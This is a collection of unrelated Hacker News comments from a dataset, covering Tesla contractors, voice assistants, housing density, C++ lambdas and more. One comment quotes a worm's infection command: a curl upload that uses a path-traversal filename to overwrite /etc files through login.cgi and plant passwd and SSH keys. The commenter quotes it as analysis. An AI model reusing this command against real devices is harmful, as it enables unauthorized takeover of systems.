skysight-inc/HackerNews huggingface dataset:
> as a reward you the interviewer get to pick anything you want from that huge list and try to trip me up with it! ;)

I don't know about you, but an interviewing process like that would be a strong signal for me to not work at that place.
It is simple; Tesla should have a supervisor at the construction site that made sure everything was according to their specifications, be it construction or worker issues.
It wouldn't be very difficult for the supervisor to tell that people who don't even speak English aren't legit workers.

As for the solution, place huge fines for all companies involved. That would give motive to Tesla to both inspect their construction and include protection clauses in their contracts.
https://news.ycombinator.com/item?id=11692360
Adblockers aren't just for annoying banners.

It protects from scams and viruses also.
Could you please elaborate on this. I would really like to know if autoencoders are still useful for classification if I have only labels for a small part of my training data. Is unsupervised pretraining still useful or was it completely replaced by other techniques as the article somehow seems to suggest?
From the whois: both domains are registered in China, but engiy.com seems to be located in Shanghai. Not that it makes much of a difference.
Show HN: Mongodb diagnostics
Dear nice and great people on HN,

I'm writing to you to get some feedback on my work. I'm a retired software professional trying to take advantage of my new-found freedom to build things as I wish, with no business pressure.

To start with, I built a mongodb diagnostics service - worktheme.com - to provide all the visibility that can possibly be extracted from the logs.

In future, I would like turn this into a generic component in a metric-processing system with emphasis on simple buildable views.

Please have a look and provide your valuable feedback. How would you have done it if you were to build this? What should I do next?

Thanks!
It might be because of the strength of luu karam. 45,000+ points.
Fair enough. My reply was sarcastic BTW, but highlighting that Amazon chose to give a female name and persona to a device that does what it is told without question. Is it possible to reassign its gender and call it "Alex" and give it a male voice?

I do think that emotional bonds between humans and machines are fundamently unhealthy, but that's got a long history so it's nothing new (e.g. sailors calling their ships "her").
China doesn't want to end up like Europe, which has no major Internet companies of its own on the same level as Google or Facebook. There has been immense political consequences and soul searching in the EU, and they are trying to push a single digital market concept to better compete against American firms. However, it remains to be seen how effective this strategy will be.
Brazil’s Democracy to Suffer Grievous Blow as Unelectable, Corrupt Neoliberal Is
It won't load here.
Books generally collect lots of upvotes, but few comments, since you generally have to read the book first before commenting.

Controversial news articles, whose entire content can be summed up in the headline, collect both upvotes and comments. The ranking algorithm punishes submissions with many comments, to push those submissions off the front page.
The article makes the point that valuations are high, not necessarily because of accurate valuations, but because 'dumb money' wants to get in on the deal. It then goes on to describe dumb money excoriatingly, covering a lot of rich people:

Dumb money is a hedge-funder who’s jealous of a V.C. Dumb money is sovereign wealth. Dumb money is an Emirati home office. Dumb money is a Facebook millionaire in a Maserati who wants to look like a player. Dumb money wants to get in on tech because it’s a box to check off. Dumb money isn’t in it for the long run. Dumb money doesn’t actually care about the technology. Dumb money doesn’t create value.
Working Link:
http://download-mirror.savannah.gnu.org/releases/pgubook/Pro...
I never got into the habit of using Siri as it requires more interaction and voice recognition success rate with my light accent is somewhere around 75%.

Echo on the other hand is awesome and picks up commands way better and knows more answers. My regular use cases are limited to timers, alarms, listening podcasts and dimming lights with Philips Hue.

I wrote my own skill to return arriving bus schedules. It was surprisingly easy with Lambda and I open sourced the code with a tutorial: https://github.com/jorilallo/muni-alexa-skill Disclaimer: code is somewhat sloppy as I wrote it in ~1h based on Amazon's tutorials :)

When it comes to skills, the Alexa app is horrible: very flaky and buggy, clearly Cortana (not native) and there's basically no discovery for skills. There's some great reddit threads where people list good skills.
PDF version: http://download-mirror.savannah.gnu.org/releases/pgubook/Pro...
Not the first time MSFT is taking the difficult decision to kill a project.
I use it with WeMos to toggle lights in my house. I lot more fun than using light switches :)
As far as I understand it, the binary contains compiled-in ip addresses for public nodes operated by zerotier. By recompiling you can run your own, they are not special in any way as I understand it. And if they go down your network wil not suffer, they are only used for initial setup.

Separate from this you also have to option of running your own network manager. This will allow you to create and manage your own virtual networks, with your own GUI, billing etcetera. The Zerotier binary can be compiled with a special option to extend the build-in REST API for that.

See: https://github.com/zerotier/ZeroTierOne/tree/master/service
ICMP ECHO has an additional payload field thay we often ignore.
Some malware is known to use the ICMP payload as a C&C channel, or to tunnel out stolen information:
https://en.wikipedia.org/wiki/ICMP_tunnel
Ethanol is terrible, especially corn produced ethanol. The type of process I'm referring to is this:

https://en.wikipedia.org/wiki/E-diesel

The inputs to this are just energy + water + CO2 = oil. No corn or other plants required. Currently this type of technology is far from cost competitive. But that could potentially change if more was invested into this area.
Updating classic workplace sabotage techniques
The algorithmic feed is a compromise between adding value for the user and revenue for the company.

Feeds based on followers, the followed, hashtags, likes, and other data about a user's habits are not increasing value for the user in terms of discovery or catching up on what was missed.

In a chronological feed, if you missed something, you know when and seek out that section of time. The nuances of discovery are diminished when you trust Instagram to do that for you.

If you follow a bread maker and enjoy seeing their photos on occasion and you don't tap the heart every time, or haven't tapped the heart much in the past, you may hardly ever see their posts again. You'll have to find them, and look at their feed, which takes away from the nuance of enjoyment you once had.

The curation one builds for their feed is not always a conscious decision. You have your own process for making an enjoyable feed. Then someone else's idea of this process steps in.

A foreign feed steals your once familiar orientation.

I would appreciate a toggle between their idea of my feed vs my idea of my feed.
How is knowing nothing about how their contractors employ people to Tesla's credit? I'd be gratified to see Musk's attention to detail include focus on details like these.
> and nothing in anyone's reactions suggested to me that there was anything inappropriate about my doing so.

Then luckily for you, you know people who are very different than some of the people I know. Off the top of my head, I can name at least five men who would make fun of another man for crying over the death of a cat.

It's well known that the rate of completed suicides for men is far higher than that for women (https://en.wikipedia.org/wiki/Gender_differences_in_suicide). I suspect a lot of this comes down to the fact that society expects men to be tough and hide their emotions, and thus there is more of a stigma attached to them getting the help that they need.

Personally, one of the saddest things I've seen related to the death of an animal (and not just any animal, but a goose, which I'm normally not too fond of since one chased me when I was little). I was visiting my father's work one day, and I saw a single goose standing alone in the parking lot, looking confused. My dad told me that there had been a flock of geese, and one of the geese was standing in the road. A car with a driver who was clearly annoyed (or psychopathic) had sped up and intentionally killed the goose standing in the way of his car. There was a dark patch on the road where the goose had been struck. As you may know, geese tend to mate for life, and when the rest of the flock had moved on, this goose's partner remained behind. I don't know if the goose knew that its partner was dead (as opposed to lost), but the way it just stood there barely moving was one of the saddest things I've ever seen.
Yeah, that. It's 2016 and secure embedded web servers still aren't a solved problem. That sucks.
A typical day:

"Alexa, what's on my calendar?" (Integrated with Google cal)

"Alexa, how is the commute?"

"Alexa, when do the Warriors play next?"

"Alexa, set an alarm for 7:30pm"

"Alexa, how much wood does a woodchuck chuck?"
Lets give this a little twist.
Teen arrested for 'accidentally' finding marijuana with google maps. Claims the stars guided him there.
1. The small homes simply aren't being built.

2. They're not being built where the jobs are. Take the SF Bay Area and the SV jobs/housing crisis. Much the problem is that many of the jobs (still) are on the Penninsula and South Bay, while high-density housing (and only somewhat so at that) is in San Francisco. Santa Clara and San Mateo counties are largely suburban sprawl, with very few exceptions. Transit stinks (virtually no usable busses, little rail other than CalTrain and VTA), and even riding a bicycle is a dicey proposition with traffic densities and poor bike lanes.

3. Schools. In the US, housing choices, especially for families, are driven by school access. Good schools are typically suburban. E.g., sprawl.

4. Urban blight. Less an issue now than previously as there's a flight back to cities, but the dense early housing belts around older US cities build in the period 1900 - 1945, that is, before the automobile was widely used, tended to be less attractive due to crime, poor schools, and, well, the attraction of a cheaper, brighter, cleaner outer-suburban belt. The point remains that denser housing stock is also quite often older housing stock.

5. Building codes. Various factors, including safety, appliances, access (doors, steps, stairs, etc.), have tended to make homes larger. One of the reasons the "tiny homes" movement has a preference for building on trailer platforms is that trailer and mobile home requirements are far less stringent.

6. Lending availability. Again, for various reasons, financing is more available for newer, larger, and suburban homes (additional reasons including redlining and government policies from local to national levels have also existed historically). Older and smaller homes are harder to buy, and to sell.

7. Builder and architect familiarity. There's an existing workforce and skillset around the "conventional" product. Building experimental, high-density, high-efficiency, or exotic (often, ironically, highly local or available) material homes pushes you to odd skillsets. It's a bit like basing a tech startup on a little-used programming language or operating system.

8. Major builders and planning departments. The "easy" direction for major builders, and for city and county planning departments, is what they know and what they know will sell. Given that a major builder might easily account for a substantial amount of all home construction nationwide, that's not an inconsiderable concern.

The upshot is a lot of structural obstacles to constructing a widely different housing stock, particularly doing so throughout an entire town (let alone a city), which is what would be required to bring up overall densities. One household building one small home won't make the difference. You'd have to change an entire community's mindset. That's ... challenging.
If I worked for Skrill I'd be asking my legal team to draft a C&D insisting that Google cease accepting bids on my registered trademark as a keyword. Given that they've evidently been accepting money from criminals targeting Skrill's customer base - potentially to the detriment of Skrill's reputation - I don't think Google's in a good position to say no...
Keep in mind though that workers who get paid 1/10x wages, can't afford your products.
(1) I'm not proposing recreating the pool - I'm proposing an approach to incrementally fixing the pool in an entirely online manner.

(2) If your pool is big enough/expensive enough, surely you've also budgeted for backups.
I'm sure that was sarcasm.
And all that one handed. Impressive.
The implication derived from a trivial probability argument is misleading. Failures are correlated, so 1-(1-P)^n is an upper bound, firstly, but secondly and much more importantly, the value being computed is the wrong value. Failure of a node is not partition. To non-trivially partition a cluster of N nodes requires (N-2) failures, when the cluster is fully connected, for example (as e.g. on any bus network). Handling trival partition is, well, trivial, in some important senses.
I think your characterization of liberal and conservative is inaccurate. First, there is no central summary of what the views are for these groups.

Liberals are okay with private activities that don't hurt anyone, so they are okay with sexual activities. They think people own their own bodies, so they are okay with taking drugs like pot that don't hurt anyone; harder to say where the line goes with harder drugs. Burning trash in your backyard hurts the environment, and hurts people who live around you, so they are generally not okay with that.

Conservatives want to give you freedom to do what you want, and they say they want to be free to make choices. But of course they want things to be like they were in the past, so they don't like freedom to be gay or whatever. They hate the concept of global warming exists, I think because it leads to their actions might hurt others (like buying a gas guzzler). The problem really becomes apparent when conservatives deny science, in the earth is 8000 years old crowd, or the truly childish fantasy that 99% of scientists are only in it to make money and are happy to lie, that's why there's collusion about global warming.

Conservatives want to have a gun in their house if they want it. The liberals next door might say you are statistically more likely to accidentally shoot someone else or even your own family, so get rid of that to make us all safer - but this is more of a middle ground.

It's not about threatening my world views, I'm a liberal and that's all wrong. Liberals or progressive people want to learn and advance, they want to base their actions off of facts. Conservatives generally make their decisions based on ideology. I have changed my opinions on many things during my life, based on facts and my own experience. When I was a kid I didn't know any gay people, I wasn't sure what to think of them. As an adult, I'm sad to think of how they quietly suffered their whole lives. If cons were really operating based on facts, they'd not be so afraid of trans or gay people, because facts show there is nothing to be afraid of. Facts tell us about the conspiracy in the catholic church to hide predators - there's no international conspiracy to help trans people.
In the article, after the pypy plugin.py step that produced the C library, one could presumably dlopen the library to accomplish a dynamic plugin feature. Is there a way to invoke pypy to JIT this code to avoid invoking pypy and a compiler?
Yes. Sort of. IPv4's address space is too small so it's a nasty hack people use to avoid conflicts. It doesn't hurt anything but if those blocks ever get advertised in BGP you have to renumber your network.

Also keep in mind that we only use that range on our test "Earth" network. You can use any IP range you want on your own networks. ZeroTier is layer 2 (Ethernet).

BTW, it's not uncommon for cell networks and ISPs to use DOD IPs for hidden layers, leading to some interesting outbreaks of paranoia when people spot them in a traceroute: "why is all my traffic being routed through the DOD?!?!?!" (No, it's not.)
Wow. I get the same ad. It's literally a phishing site where they want you to "log-in".

Insert random data. Next, it asks you to insert your date of birth. In the case of Skrill asks it when they try to rob you. And if that is not enough, eventually they send you to the real website with an affiliate link (id 16258373) !
It's short for "pork barrelling", which refers to public money that is allocated by government to projects in specific areas to sweeten the local voters. Typical examples might be the announcement of new roads or sporting facility, or the awarding of a large government contract to a major local employer, especially just after an election has been declared.

The term itself was not originally pejorative (a barrel full of pork can feed a lot of mouths!) but it is generally used negatively by the press or cynically by certain government sectors.
This is always a usual problem for tech companies. Truth be told they tell everyone "oh we are doing this", but in reality they are just sub-contracting it. I for a fact know that most popular games are sub-contracted.
Without YouTube, I dare say I might not have bought… what… sixteen of the albums in my current collection? Almost all of the music I've bought is from artists I first heard on YouTube.
> It wouldn't be very difficult for the supervisor to tell that people who don't even speak English aren't legit workers.

Have you worked in construction before? Non-English speaking employees (especially in California) aren't necessarily an indication that anything is amiss.

Supervision may have made a difference, but I'm not sure. The onus is on the contracted company to do things the right way.

I'm surprised that California building, OSHA , and employment inspectors didn't catch this. If they visited the site as I expect they would have multiple times through construction, and didn't find anything out of the ordinary, it tells you something about the inspections themselves and the degree that the required employment documents were misrepresented.
I can understand the security argument if you're running a server, but I'm not, and what I care about is predictability: I want the apps that have been working to keep on working in exactly the same way until such a day as I decide to take the risk of upgrading them.

I don't care how foolproof semantic versioning might be in theory: in practice, sometimes you upgrade one thing and that leaves another thing broken, and this is not something I am willing to accept in a personal workstation - especially not as the result of an automated self-update process, introducing churn without bothering to get my permission!

I don't care about storage efficiency. It's been years since I've had to pay any attention to drive capacity. 4GB is nothing. 76 GB is also nothing, when you have multiple terabytes of storage space sitting completely idle.

As far as memory efficiency goes, I'm not running pipelines, so I don't care. On a server with 1GB RAM, yes, I can see that becoming a big deal; but even my laptops all have 8GB RAM now. On a personal workstation, this doesn't matter, and that's where I'd like to see the "link everything dynamically" meme die. I'm not a system administrator and I don't have system-administrator concerns. I want to get work done and not futz with it. That means I want everything statically linked, independent from each other, churn-free, and predictable.
One shouldn't assume that they must. But, one can look at the stats to observe that they have. Linux is still sitting at 0.9% on the Steam hardware survey. By trying to be inclusive in theory, you would be excluding 99% of the audience in practice.
Looks like this is the infection vector:

LD_LIBRARY_PATH=/etc/persistent/.mf/ ./curl -s -m 4 -F "file=@/etc/$wh;filename=../../etc/$to" -H "Expect:" "$ur/login.cgi" -k 2>/dev/null >/dev/null

.. is used to upload files onto the target system, in particular a passwd file and some ssh keys. After this, it'll ssh in easily because of the passwd/keys and extract a copy itself from a .tar and worm on.

So does that mean that "login.cgi" can be tricked into writing uploaded http files into /etc without authentication? Rough.
One aspect of C++ lambdas that I really don’t like is the visual confusion caused by allowing "return", since at a glance this seems to affect the parent function. I have already found myself adding comments inside lambdas like "return x; // return-from-lambda" to make sure that I see what is really happening. Python by contrast does two things better: Python makes it really hard to write long expressions as lambdas, and no "return" is used in a Python "lambda". Of course, Python also allows "def" inside a "def" as a convenient way to write longer one-time functions.

I also found that while I could use C++ lambdas for things like iteration, e.g. "object->forEachThing([](Thing const& t, bool& stop){ ... })", this makes the keyword problem worse. In this type of call, if I want to implement something that is logically like a "break" or "continue" of the loop, it has to use the "return" keyword (from the lambda only) with special conditions attached such as a "bool" variable to request the break. And that is confusing to read, even though conceptually it is similar to the Objective-C NSArray "enumerateObjectsUsingBlock:" that takes a similar approach (in that the block takes a "stop" argument).
Ask HN: What are your must-have packages for vim?
Did something similar to this with a raspberry pi, a pair of 70's ray ban bullet hole shooter glasses and a spy cam a few years back. Just got a cam that let me ditch the pi, slim it down to a Google glass type size, and stream the video to a smartphone
That J and K mappings sound like a pretty good idea actually... I'd been using <leader>j for 10j.
Hapi.js in Action (book)
I apologize for not understanding your response as sarcastic.